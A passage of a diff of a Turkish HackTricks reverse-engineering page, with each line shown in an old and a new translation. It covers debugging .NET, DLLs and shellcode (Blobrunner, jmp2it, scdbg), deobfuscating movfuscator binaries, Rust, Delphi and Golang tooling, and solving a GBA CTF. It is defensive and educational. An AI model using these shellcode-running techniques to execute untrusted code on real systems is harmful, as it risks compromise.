DebuggableAttribute.DebuggingModes.DisableOptimizations |
DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints |
DebuggableAttribute.DebuggingModes.EnableEditAndContinue)]
```
Ve **derle**'ye tıklayın:
Ve ardından **derle**'ye tıklayın:
![](<../../.gitbook/assets/image (314) (1) (1).png>)
Daha sonra yeni dosyayı _**Dosya >> Modülü Kaydet...**_'e kaydedin:
Daha sonra yeni dosyayı _**Dosya >> Modülü Kaydet...**_ üzerinden kaydedin:
![](<../../.gitbook/assets/image (279).png>)
Bunu yapmanız gereklidir çünkü bunu yapmazsanız, **çalışma zamanında** kod üzerine birçok **optimizasyon** uygulanabilir ve **hata ayıklarken bir kesme noktasına hiç ulaşılmayabilir** veya bazı **değişkenler mevcut olmayabilir**.
Bunu yapmanız gereklidir çünkü bunu yapmazsanız, **çalışma zamanında** kod üzerine birk **optimizasyon** uygulanabilir ve **hata ayıklarken bir kesme noktasına hiç ulaşılamayabilir** veya bazı **değişkenler mevcut olmayabilir**.
Ardından, .Net uygulamanız **IIS** tarafından **çalıştırılıyorsa**, onu **yeniden başlatabilirsiniz**:
Ardından, .NET uygulamanız **IIS** tarafından **çalıştırılıyorsa**, onu şu şekilde **yeniden başlatabilirsiniz**:
```
iisreset /noforce
```
@ -111,17 +106,17 @@ Daha sonra **w3wp.exe**'yi seçerek **IIS sunucusuna** bağlanın ve **attach**'
![](<../../.gitbook/assets/image (281).png>)
Şimdi süreci hata ayıklıyoruz, durdurma ve tüm modülleri yükleme zamanı. İlk olarak _Debug >> Break All_ üzerine tıklayın ve ardından _**Debug >> Windows >> Modules**_ üzerine tıklayın:
Şimdi işlemi hata ayıklıyoruz, durdurma ve tüm modülleri yükleme zamanı. İlk olarak _Debug >> Break All_ üzerine tıklayın ve ardından _**Debug >> Windows >> Modules**_ üzerine tıklayın:
![](<../../.gitbook/assets/image (286).png>)
![](<../../.gitbook/assets/image (283).png>)
**Modüller** üzerinde herhangi bir modüle tıklayın ve **Open All Modules**'ı seçin:
**Modules** üzerinde herhangi bir modüle tıklayın ve **Open All Modules**'i seçin:
![](<../../.gitbook/assets/image (284).png>)
**Assembly Explorer** içinde herhangi bir modüle sağ tıklayın ve **Sort Assemblies**'e tıklayın:
**Assembly Explorer** içinde herhangi bir modüle sağ tıklayın ve **Sort Assemblies**'i tıklayın:
![](<../../.gitbook/assets/image (285).png>)
@ -132,11 +127,11 @@ Daha sonra **w3wp.exe**'yi seçerek **IIS sunucusuna** bağlanın ve **attach**'
## DLL'leri Hata Ayıklama
### IDA Kullanımı
### IDA Kullanarak
* **rundll32**'yi yükleyin (64 bitlik sürüm C:\Windows\System32\rundll32.exe ve 32 bitlik sürüm C:\Windows\SysWOW64\rundll32.exe)
* **Windbg** hata ayıklayıcıyı seçin
* "**Kütüphane yükleme/boşaltma durdur**" seçeneğini belirleyin
* "**Suspend on library load/unload**" seçin
![](<../../.gitbook/assets/image (135).png>)
@ -144,16 +139,16 @@ Daha sonra **w3wp.exe**'yi seçerek **IIS sunucusuna** bağlanın ve **attach**'
![](<../../.gitbook/assets/image (136).png>)
Ardından, hata ayıklamaya başladığınızda **her DLL yüklendiğinde yürütme durdurulur**, sonra rundll32 DLL'nizi yüklediğinde yürütme durdurulur.
Ardından, hata ayıklamaya başladığınızda **her DLL yüklendiğinde yürütme durdurulur**, sonra, rundll32 DLL'nizi yüklediğinde yürütme durdurulur.
Ancak, yüklenen DLL'nin koduna nasıl ulaşabilirsiniz? Bu yöntemi kullanarak, bunu nasıl yapacağımı bilmiyorum.
Ancak, yüklenen DLL'nin koduna nasıl ulaşabilirsiniz? Bu yöntemi kullanarak, bunu bilmiyorum.
### x64dbg/x32dbg Kullanımı
### x64dbg/x32dbg Kullanarak
* **rundll32**'yi yükleyin (64 bitlik sürüm C:\Windows\System32\rundll32.exe ve 32 bitlik sürüm C:\Windows\SysWOW64\rundll32.exe)
* **Komut Satırını Değiştirin** ( _Dosya --> Komut Satırını Değiştir_ ) ve dll'nin yolunu ve çağırmak istediğiniz fonksiyonu belirleyin, örneğin: "C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii\_2.dll",DLLMain
* _Ayarlar --> Ayarlar_ değiştirin ve "**DLL Girişi**"ni seçin.
* Ardından **yürütmeyi başlatın**, hata ayıklayıcı her dll ana noktasında duracak, bir noktada **dll'nin Girişine duracaksınız**. Oradan, kırılma noktalarını koymak istediğiniz noktaları arayın.
* **Komut Satırını Değiştirin** ( _File --> Change Command Line_ ) ve dll'nin yolunu ve çağırmak istediğiniz fonksiyonu belirtin, örneğin: "C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii\_2.dll",DLLMain
* _Options --> Settings_ değiştirin ve "**DLL Entry**" seçin.
* Ardından **yürütmeyi başlatın**, hata ayıklayıcı her dll ana noktasında duracak, bir noktada **dll'nin girişinde duracaksınız**. Oradan, koyacağınız kırılma noktalarını arayın.
Yürütme herhangi bir nedenle durduğunda win64dbg'de **hangi kodda olduğunuzu** görebilirsiniz, **win64dbg penceresinin üst kısmına bakarak**:
@ -169,7 +164,7 @@ Dolayısıyla, dll'yi hata ayıklamak istediğinizde yürütmenin hangi kodda du
[cheat-engine.md](cheat-engine.md)
{% endcontent-ref %}
## ARM ve MIPS
## ARM & MIPS
{% embed url="https://github.com/nongiach/arm_now" %}
@ -177,10 +172,10 @@ Dolayısıyla, dll'yi hata ayıklamak istediğinizde yürütmenin hangi kodda du
### Blobrunner ile bir shellcode'u hata ayıklama
[**Blobrunner**](https://github.com/OALabs/BlobRunner), bir bellek alanına **shellcode**'u **ayıracak**, size shellcode'un ayrıldığı **bellek adresini** gösterecek ve yürütmeyi **durduracak**tır.\
Daha sonra, bir hata ayıklayıcıyı (Ida veya x64dbg) sürece **bağlamanız** ve belirtilen bellek adresine bir **kırılma noktası koymalısınız** ve yürütmeyi **devam ettirmelisiniz**. Böylece shellcode'u hata ayıklıyorsunuz.
[**Blobrunner**](https://github.com/OALabs/BlobRunner), **shellcode'u** bellek alanına **ayıracak**, shellcode'un ayrıldığı **bellek adresini size gösterecek** ve **yürütmeyi durduracak**tır.\
Daha sonra, bir **hata ayıklayıcıyı** (Ida veya x64dbg) işleme **bağlamanız** ve belirtilen bellek adresine bir **kırılma noktası koymanız** ve yürütmeyi **devam ettirmeniz** gerekecektir. Böylece shellcode'u hata ayıklıyorsunuz.
Yayınlar github sayfası, derlenmiş sürümleri içeren zip dosyalarını içerir: [https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)\
Yayınlar github sayfasında derlenmiş sürümleri içeren zip dosyalarını içerir: [https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)\
Blobrunner'ın hafif değiştirilmiş bir sürümünü aşağıdaki bağlantıda bulabilirsiniz. Derlemek için sadece **Visual Studio Code'da bir C/C++ projesi oluşturun, kodu kopyalayıp yapıştırın ve derleyin**.
{% content-ref url="blobrunner.md" %}
@ -189,7 +184,7 @@ Blobrunner'ın hafif değiştirilmiş bir sürümünü aşağıdaki bağlantıda
### jmp2it ile bir shellcode'u hata ayıklama
[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4), blobrunner'a çok benzerdir. Bir bellek alanına **shellcode**'u **ayıracak** ve bir **sonsuz döngü** başlatacaktır. Ardından, süreci **bağlamalı**, **başlatmalı, 2-5 saniye beklemeli ve durmalısınız** ve kendinizi **sonsuz döngü** içinde bulacaksınız. Sonsuz döngünün bir sonraki talimatına atlayın çünkü bu shellcode'a bir çağrı olacaktır ve sonunda shellcode'u yürütürken bulacaksınız.
[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4), blobrunner'a çok benzerdir. **Shellcode'u** bellek alanına **ayıracak** ve bir **sonsuz döngü başlatacaktır**. Daha sonra, **hata ayıklayıcıyı** işleme **bağlamanız**, **başlatmanız, 2-5 saniye beklemeniz ve durdur tuşuna basmanız** gerekecek ve kendinizi **sonsuz döngü içinde** bulacaksınız. Sonsuz döngünün bir sonraki talimatına atlayın çünkü bu shellcode'a bir çağrı olacaktır ve sonunda shellcode'u yürütürken bulacaksınız.
![](<../../.gitbook/assets/image (397).png>)
@ -216,7 +211,7 @@ Başlamak istediğiniz yerde emülasyonu başlatmak için oraya bir bp ayarlayı
### Shellcode'u deobfuscate etme ve yürütülen fonksiyonları almak
[**scdbg**'yi denemelisiniz](http://sandsprite.com/blogs/index.php?uid=7\&pid=152).\
Shellcode'un hangi fonksiyonları kullandığını ve shellcode'un bellekte kendini **çözüp çözmediğini** size söyleyecektir.
Shellcode'un hangi fonksiyonları kullandığını ve shellcode'un bellekte kendini **çözümlüyor** olup olmadığını size söyleyecektir.
```bash
scdbg.exe -f shellcode # Get info
scdbg.exe -f shellcode -r #show analysis report at end of run
@ -233,7 +228,7 @@ scDbg ayrıca, istediğiniz seçenekleri seçebileceğiniz ve shellcode'yi yür
### CyberChef Kullanarak Disassembling
Shellcode dosyanızı giriş olarak yükleyin ve aşağıdaki reçeteyi kullanarak derleyin: [https://gchq.github.io/CyberChef/#recipe=To\_Hex('Space',0)Disassemble\_x86('32','Full%20x86%20architecture',16,0,true,true)](https://gchq.github.io/CyberChef/#recipe=To\_Hex\('Space',0\)Disassemble\_x86\('32','Full%20x86%20architecture',16,0,true,true\))
Shellcode dosyanızı giriş olarak yükleyin ve aşağıdaki tarifi kullanarak derleyin: [https://gchq.github.io/CyberChef/#recipe=To\_Hex('Space',0)Disassemble\_x86('32','Full%20x86%20architecture',16,0,true,true)](https://gchq.github.io/CyberChef/#recipe=To\_Hex\('Space',0\)Disassemble\_x86\('32','Full%20x86%20architecture',16,0,true,true\))
## [Movfuscator](https://github.com/xoreaxeaxeax/movfuscator)
@ -242,39 +237,39 @@ Bu obfuscator, **tüm `mov` komutları için talimatları değiştirir**(evet, g
* [https://www.youtube.com/watch?v=2VF\_wPkiBJY](https://www.youtube.com/watch?v=2VF\_wPkiBJY)
* [https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas\_2015\_the\_movfuscator.pdf](https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas\_2015\_the\_movfuscator.pdf)
Eğer şanslıysanız [demovfuscator ](https://github.com/kirschju/demovfuscator)binary'i deofuske edecektir. Çeşitli bağımlılıkları bulunmaktadır
Şanslıysanız [demovfuscator](https://github.com/kirschju/demovfuscator) ikili dosyayııklayabilir. Çeşitli bağımlılıkları bulunmaktadır
```
apt-get install libcapstone-dev
apt-get install libz3-dev
```
Ve [keystone'ı yükle](https://github.com/keystone-engine/keystone/blob/master/docs/COMPILE-NIX.md) (`apt-get install cmake; mkdir build; cd build; ../make-share.sh; make install`)
Eğer bir **CTF oyununda isimlendirilmiş bayrağı bulmak** istiyorsanız, bu çözüm yararlı olabilir: [https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html](https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html)
Eğer bir **CTF oyununda, bayrağı bulmak için bu çözüm** çok faydalı olabilir: [https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html](https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html)
## Rust
**Giriş noktasını** bulmak için `::main` gibi fonksiyonları arayın:
**Giriş noktasını** bulmak için `::main` gibi fonksiyonlara arama yapın:
![](<../../.gitbook/assets/image (612).png>)
Bu durumda, ikili dosya authenticator olarak adlandırıldığı için bu ilginç ana fonksiyon olduğu oldukça açıktır.\
Bu durumda ikili dosya authenticator olarak adlandırıldığı için bu ilginç ana fonksiyon olduğu oldukça açıktır.\
**Çağrılan fonksiyonların isimlerine** sahip olarak, bunları **İnternet** üzerinde arayarak **girdileri** ve **çıktıları** hakkında bilgi edinin.
## **Delphi**
Delphi derlenmiş ikili dosyalar için [https://github.com/crypto2011/IDR](https://github.com/crypto2011/IDR) kullanabilirsiniz
Delphi ikili dosyasını tersine çevirmeniz gerekiyorsa, IDA eklentisini kullanmanızı öneririm [https://github.com/Coldzer0/IDA-For-Delphi](https://github.com/Coldzer0/IDA-For-Delphi)
Bir Delphi ikili dosyasını tersine çevirmeniz gerekiyorsa, IDA eklentisini kullanmanızı öneririm [https://github.com/Coldzer0/IDA-For-Delphi](https://github.com/Coldzer0/IDA-For-Delphi)
Sadece **ATL+f7** tuşlarına basın (IDA'da python eklentisini içe aktarın) ve python eklentisini seçin.
Bu eklenti, hata ayıklamanın başında işlev adlarını dinamik olarak çözecek ve işlev adlarını çözecektir. Hata ayıklamaya başladıktan sonra tekrar Başlat düğmesine basın (yeşil olan veya f9) ve bir kesme noktası gerçek kodun başında olacaktır.
Bu eklenti, hata ayıklamanın başlangıcında işlev adlarını dinamik olarak çözecek ve ikili dosyayı yürütecektir. Hata ayıklamayı başlattıktan sonra tekrar Başlat düğmesine basın (yeşil olan veya f9) ve bir kesme noktası gerçek kodun başında olacaktır.
Ayrıca, grafik uygulamasında bir düğmeye bastığınızda hata ayıklayıcı, o düğme tarafından yürütülen işlevde duracaktır.
Ayrıca, grafik uygulamasında bir düğmeye bastığınızda hata ayıklayıcı o düğme tarafından yürütülen işlevde duracaktır.
## Golang
Golang ikili dosyasını tersine çevirmeniz gerekiyorsa, IDA eklentisini kullanmanızı öneririm [https://github.com/sibears/IDAGolangHelper](https://github.com/sibears/IDAGolangHelper)
Bir Golang ikili dosyasını tersine çevirmeniz gerekiyorsa, IDA eklentisini kullanmanızı öneririm [https://github.com/sibears/IDAGolangHelper](https://github.com/sibears/IDAGolangHelper)
Sadece **ATL+f7** tuşlarına basın (IDA'da python eklentisini içe aktarın) ve python eklentisini seçin.
@ -292,12 +287,12 @@ Bu sayfada, bir ELF/EXE python derlenmiş ikili dosyasından python kodunu nası
Bir GBA oyununun **ikili** dosyasını aldıysanız, onu **emüle etmek** ve **hata ayıklamak** için farklı araçlar kullanabilirsiniz:
* [**no$gba**](https://problemkaputt.de/gba.htm) (_Hata ayıklama sürümünü indirin_) - Arayüzle birlikte bir hata ayıklayıcı içerir
* [**no$gba**](https://problemkaputt.de/gba.htm) (_Hata ayıklama sürümünü indirin_) - Arayüz ile bir hata ayıklayıcı içerir
* [**mgba** ](https://mgba.io)- Bir CLI hata ayıklayıcı içerir
* [**gba-ghidra-loader**](https://github.com/pudii/gba-ghidra-loader) - Ghidra eklentisi
* [**GhidraGBA**](https://github.com/SiD3W4y/GhidraGBA) - Ghidra eklentisi
[**no$gba**](https://problemkaputt.de/gba.htm)'da, _**Options --> Emulation Setup --> Controls**_\*\* \*\* Game Boy Advance **düğmelerine** nasıl basılacağını görebilirsiniz
[**no$gba**](https://problemkaputt.de/gba.htm)'da _**Options --> Emulation Setup --> Controls**_\*\* \*\* altında Game Boy Advance **düğmelerini** nasıl basacağınızı görebilirsiniz
![](<../../.gitbook/assets/image (578).png>)
@ -314,13 +309,13 @@ DOWN = 128
R = 256
L = 256
```
Bu tür programlarda, programın kullanıcı girdisini nasıl işlediği ilginç bir konu olacaktır. **0x4000130** adresinde yaygın olarak bulunan **KEYINPUT** işlevini bulacaksınız.
Bu tür programlarda, ilginç olan kısım, programın kullanıcı girdisini nasıl işlediğidir. Adreste **0x4000130** sıkça rastlanan **KEYINPUT** fonksiyonunu bulacaksınız.
![](<../../.gitbook/assets/image (579).png>)
Önceki görüntüde, işlevin **FUN\_080015a8** (adresler: _0x080015fa_ ve _0x080017ac_) tarafından çağrıldığını görebilirsiniz.
Önceki görüntüde, fonksiyonun **FUN\_080015a8**'den çağrıldığını görebilirsiniz (adresler: _0x080015fa_ ve _0x080017ac_).
Bu işlevde, bazı başlatma işlemlerinden sonra (önemsiz):
O fonksiyonda, bazı başlatma işlemlerinden sonra (önemsiz olanlar):
```c
void FUN_080015a8(void)
@ -353,7 +348,7 @@ uVar2 = DAT_030004dc;
uVar1 = *puVar6;
if ((uVar1 & DAT_030004da & ~uVar4) != 0) {
```
Son if, `uVar4`'ün **son tuşlar** içinde olup olmadığını kontrol ediyor ve mevcut tuş değilse, yani bir düğmeye bırakılıyor (mevcut tuş **`uVar1`** içinde saklanır).
Son if, `uVar4`'ün **son tuşlar** içinde olup olmadığını kontrol ediyor ve mevcut tuş değilse, yani bir tuş bırakma işlemi yapıyor (mevcut tuş **`uVar1`** içinde saklanıyor).
```c
if (uVar1 == 4) {
DAT_030000d4 = 0;
@ -386,7 +381,8 @@ DAT_030000d8 = DAT_030000d8 + 0x3a;
* İlk olarak, **değer 4** (**SEÇ** düğmesi) ile karşılaştırılır: Bu düğme meydan okumada ekranı temizler.
* Ardından, **değer 8** (**BAŞLAT** düğmesi) ile karşılaştırılır: Bu meydan okumada kodun bayrağı almak için geçerli olup olmadığını kontrol eder.
* Bu durumda, **`DAT_030000d8`** değişkeni 0xf3 ile karşılaştırılır ve değer aynıysa bazı kodlar yürütülür.
* Diğer durumlarda, bazı `cont (DAT_030000d4)` kontrol edilir. Bu bir `cont` çünkü kod girdikten hemen sonra 1 ekler. Eğer 8'den küçükse, **`DAT_030000d8`** değişkenine değerler ekleyen bir şey yapılır (temelde, `cont` 8'den küçük olduğu sürece basılan tuşların değerlerini bu değişkene ekliyor).
* Diğer durumlarda, bazı kontroller (`DAT_030000d4`) yapılır. Bu bir kontrol olduğundan, kod girdikten hemen sonra 1 eklenir.\
Eğer 8'den küçükse, **`DAT_030000d8`** değişkenine değerler **eklemeyi** içeren bir şey yapılır (temelde, kont 8'den küçük olduğu sürece bu değişkene basılan tuşların değerlerini ekliyor).
Bu meydan okumada, düğmelerin değerlerini bilerek, sonucu 0xf3 olan 8'den küçük bir uzunluktaki bir kombinasyonu **basmanız gerekiyordu**.
@ -403,14 +399,14 @@ Bu meydan okumada, düğmelerin değerlerini bilerek, sonucu 0xf3 olan 8'den kü
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahramana kadar AWS hackleme öğrenin!</summary>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'u takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>